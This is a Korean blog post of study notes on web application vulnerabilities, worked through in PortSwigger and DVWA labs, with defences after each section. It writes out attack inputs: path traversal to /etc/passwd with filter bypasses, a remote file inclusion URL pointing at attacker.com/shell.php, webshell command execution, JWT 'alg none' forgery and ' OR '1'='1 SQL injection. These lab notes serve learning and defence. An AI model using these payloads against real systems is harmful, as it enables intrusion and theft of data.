Taeyoung Kim

Cloud & Platform

웹 애플리케이션 주요 취약점 분석 및 실습

웹 애플리케이션 주요 취약점 분석 및 실습 학습 내용을 정리한 백필 노트입니다.

이 글은 2025년 학습 기록을 블로그 형식으로 정리한 백필 노트입니다.

1. 정보 노출 취약점 (Information Disclosure)

웹 애플리케이션의 설정 오류나 개발자의 부주의로 인해 민감한 정보가 외부 공격자에게 노출되는 취약점입니다.

1-1. 발생 원인 및 유형

  • 안전하지 않은 구성: robots.txt에 민감한 경로를 명시하거나, 디버깅 기능이 활성화된 상태로 운영 환경에 배포하는 경우.
  • 소스 코드 및 백업 파일 노출: 소스 코드에 API 키나 DB 자격증명을 하드코딩하거나, .bak, .old 같은 백업 파일 또는 .git과 같은 버전 관리 디렉터리가 외부에 노출되는 경우.
  • 상세한 오류 메시지: 예외 처리 시 상세한 시스템 정보, 프레임워크 버전, DB 테이블 구조 등을 사용자에게 그대로 보여주는 경우.

1-2. 실습 예제 (PortSwigger)

  • 오류 메시지를 통한 정보 노출:
    • 문제: 제품 ID 파라미터에 예상치 못한 문자열(a)을 입력하여 의도적으로 오류를 발생시킵니다.
    • 결과: 서버 오류 메시지를 통해 Apache Struts 2 2.3.31이라는 프레임워크 버전 정보를 획득합니다.
  • 디버그 페이지를 통한 정보 노출:
    • 문제: Burp Suite의 사이트 맵 기능을 통해 숨겨진 /cgi-bin/phpinfo.php 페이지를 발견합니다.
    • 결과: phpinfo() 함수가 노출하는 상세한 서버 환경 변수에서 SECRET_KEY 값을 획득합니다.
  • 백업 파일을 통한 소스 코드 유출:
    • 문제: /robots.txt 파일에 명시된 /backup 경로에 접근하여 디렉터리 인덱싱으로 백업 파일(ProductTemplate.java.bak)을 발견합니다.
    • 결과: 백업된 소스 코드에서 하드코딩된 데이터베이스 비밀번호(noav74306rt6f13zg60fihql7rc8ibnq)를 획득합니다.
  • 버전 관리 기록을 통한 정보 노출:
    • 문제: 웹 루트에 노출된 .git 디렉터리를 다운로드합니다.
    • 결과: git loggit diff 명령어로 과거 커밋 이력을 분석하여 실수로 커밋되었던 관리자 비밀번호(ADMIN_PASSWORD)를 찾아냅니다.

1-3. 보안 대책

  • 웹 루트 내에 백업 파일, 소스 코드, 버전 관리 디렉터리( .git)를 절대 두지 않습니다.
  • 웹 서버의 디렉터리 인덱싱 기능을 비활성화합니다.
  • robots.txt에는 민감한 경로를 명시하지 않고, 서버 설정으로 직접 접근을 차단합니다.
  • 사용자에게는 "오류가 발생했습니다"와 같은 일반적인 오류 메시지만 표시하고, 상세 내용은 내부 로그로만 기록합니다.
  • 운영 환경에서는 모든 디버그 기능을 비활성화합니다.

2. 무차별 대입 공격 (Brute Force Attack)

로그인 시도 횟수 제한이 없는 경우, 자동화된 도구를 사용해 모든 가능한 비밀번호 조합을 시도하여 계정을 탈취하는 공격입니다.

2-1. 실습 예제 (DVWA)

  • Low Level: 로그인 시도 횟수 제한이 없어 Python 스크립트나 Burp Suite의 Intruder 기능을 이용해 admin 계정의 비밀번호(password)를 찾아냅니다.
  • Medium Level: 로그인 실패 시 2초의 대기 시간이 추가되어 공격 속도가 느려집니다. 이 경우, 모든 조합을 시도하는 대신 사람들이 자주 사용하는 비밀번호 목록(Dictionary)을 대입하는 **사전 공격(Dictionary Attack)**이 더 효율적입니다.
  • High Level: 로그인 시도마다 CSRF 토큰이 적용되고 실패 시 랜덤 대기 시간이 추가됩니다. 공격 스크립트는 매 시도마다 로그인 페이지에 먼저 접속해 새로운 CSRF 토큰을 받아온 후, 이를 포함하여 요청을 보내야 합니다.

2-2. 보안 대책

  • 계정 잠금 정책: 일정 횟수 이상 로그인 실패 시 계정을 일시적으로 잠급니다.
  • 속도 제한 및 IP 차단: 특정 IP에서 비정상적으로 많은 로그인 시도가 발생하면 해당 IP를 차단합니다.
  • 2단계 인증 (2FA): 아이디/비밀번호 외에 OTP, 이메일 등 추가 인증 수단을 요구합니다.
  • 캡차(CAPTCHA): 자동화된 봇의 공격을 막기 위해 이미지 문자 인식 등을 요구합니다.

3. 인증 및 세션 관리 취약점

쿠키, 세션, JWT(JSON Web Token) 등 사용자의 인증 상태를 관리하는 메커니즘의 결함을 이용한 공격입니다.

3-1. 쿠키 vs 세션 vs JWT

  • 쿠키(Cookie): 정보를 클라이언트(브라우저)에 저장. 보안에 취약할 수 있음.
  • 세션(Session): 세션 ID만 클라이언트에 저장하고, 주요 정보는 서버에 저장하여 쿠키보다 안전.
  • JWT(JSON Web Token): 인증에 필요한 정보를 암호화된 토큰 자체에 담아 서버의 부담을 줄이고 확장성을 높인 기술.

3-2. 실습 예제 (PortSwigger - JWT)

  • 서명 미검증 취약점:
    • 문제: 서버가 JWT의 서명(Signature) 부분을 검증하지 않는 허점을 이용합니다.
    • 공격: JWT의 Payload(내용)에 있는 사용자 ID(sub)를 "wiener"에서 "administrator"로 변경하고, Header의 알고리즘(alg)을 "none"으로 수정한 뒤, 마지막 서명 부분을 삭제하여 토큰을 위조합니다.
    • 결과: 위조된 토큰으로 관리자 권한을 획득합니다.

4. 경로 조작 및 파일 포함 취약점

4-1. 경로 조작 (Directory Traversal)

사용자 입력값에 상위 디렉터리로 이동하는 문자열(../)을 삽입하여 허용되지 않은 경로의 파일에 접근하는 취약점입니다.

  • 실습 예제 (PortSwigger):
    • 기본 공격: 이미지 파일명을 받는 파라미터에 ../../../etc/passwd를 입력하여 시스템 파일을 읽습니다.
    • 절대 경로 우회: ../ 필터링이 적용된 경우, /etc/passwd와 같이 파일의 전체 경로를 직접 입력하여 우회합니다.
    • 필터링 우회: 서버가 ../를 한 번만 제거할 경우 ....//와 같이 중첩하여 입력하거나, URL 인코딩을 이중으로 적용(..%252f)하여 필터를 우회합니다.

4-2. 파일 포함 (File Inclusion)

사용자 입력값을 파일 경로로 사용하여 include, require 같은 함수로 파일을 불러올 때 발생하는 취약점입니다.

  • LFI (Local File Inclusion): 서버 내부에 있는 파일을 포함. (예: ?page=/etc/passwd)
  • RFI (Remote File Inclusion): 외부 서버에 있는 악성 스크립트 파일을 포함. (예: ?page=http://attacker.com/shell.php)
  • 실습 예제 (DVWA):
    • Low Level: 필터링이 없어 LFI, RFI 공격이 모두 가능합니다.
    • Medium Level: http://, ../ 등을 필터링하지만 hthttp://tp:// 와 같이 필터링 키워드를 중복 삽입하여 우회할 수 있습니다.
    • High Level: file* 또는 include.php만 허용하는 화이트리스트 방식으로 방어하여 공격이 거의 불가능합니다.

5. 파일 업로드 취약점

악의적인 스크립트 파일(웹쉘 등)을 서버에 업로드하여 원격으로 시스템 명령을 실행하는 심각한 취약점입니다.

5-1. 파일 검증 방식

  • 파일 확장자: .jpg, .png 등 파일명 끝의 확장자 검사.
  • MIME 타입: Content-Type 헤더의 값 검사 (예: image/jpeg).
  • 파일 시그니처 (매직 넘버): 파일의 실제 내용 시작 부분의 고유한 바이트 값 검사.

5-2. 실습 예제 (DVWA)

  • Low Level: 검증이 전혀 없어 webshell.php 파일을 직접 업로드하고, 해당 경로로 접근하여 ?cmd=whoami와 같은 명령을 실행합니다.
  • Medium Level: MIME 타입만 검사하므로, Burp Suite로 요청을 가로채 Content-Typeimage/jpeg로 위조하여 웹쉘을 업로드합니다.
  • High Level: 확장자와 getimagesize() 함수로 실제 이미지 파일인지 내용까지 검사합니다. 이미지 파일의 메타데이터(EXIF)에 PHP 코드를 삽입하는 방식으로 우회할 수 있습니다.

6. SQL 인젝션 (SQL Injection)

사용자 입력값이 검증 없이 SQL 쿼리문에 그대로 포함되어, 공격자가 데이터베이스를 임의로 조작할 수 있게 되는 취약점입니다.

6-1. 발생 원리

사용자 ID를 조회하는 쿼리 SELECT * FROM users WHERE user_id = '$id';에서, 공격자가 ID 입력란에 ' OR '1'='1을 입력하면 WHERE 조건이 항상 참이 되어 모든 사용자 정보가 노출됩니다.

6-2. 실습 예제 (DVWA & Lord of SQL)

  • DVWA Low: ' OR '1'='1 구문으로 모든 사용자 정보를 조회하거나, UNION 구문을 사용해 information_schema에서 다른 테이블과 컬럼 정보를 탈취합니다.
  • Lord of SQL injection: 문제마다 _, ., ', " 등 특정 문자나 키워드를 필터링하며, 이를 우회하는 다양한 기법을 실습합니다.

6-3. 방어 및 예방 방법

  • Prepared Statement (매개변수화된 쿼리): SQL 쿼리문과 사용자 입력값을 분리하여, 입력값이 쿼리 구조에 영향을 주지 못하게 하는 가장 확실한 방법입니다.
  • 입력값 검증: 화이트리스트 기반으로 허용된 형식, 길이, 범위의 값만 처리합니다.
  • 데이터베이스 계정 권한 최소화: 웹 애플리케이션이 사용하는 DB 계정에 꼭 필요한 권한만 부여합니다.
  • 오류 메시지 최소화: 상세한 DB 오류 메시지를 사용자에게 노출하지 않습니다.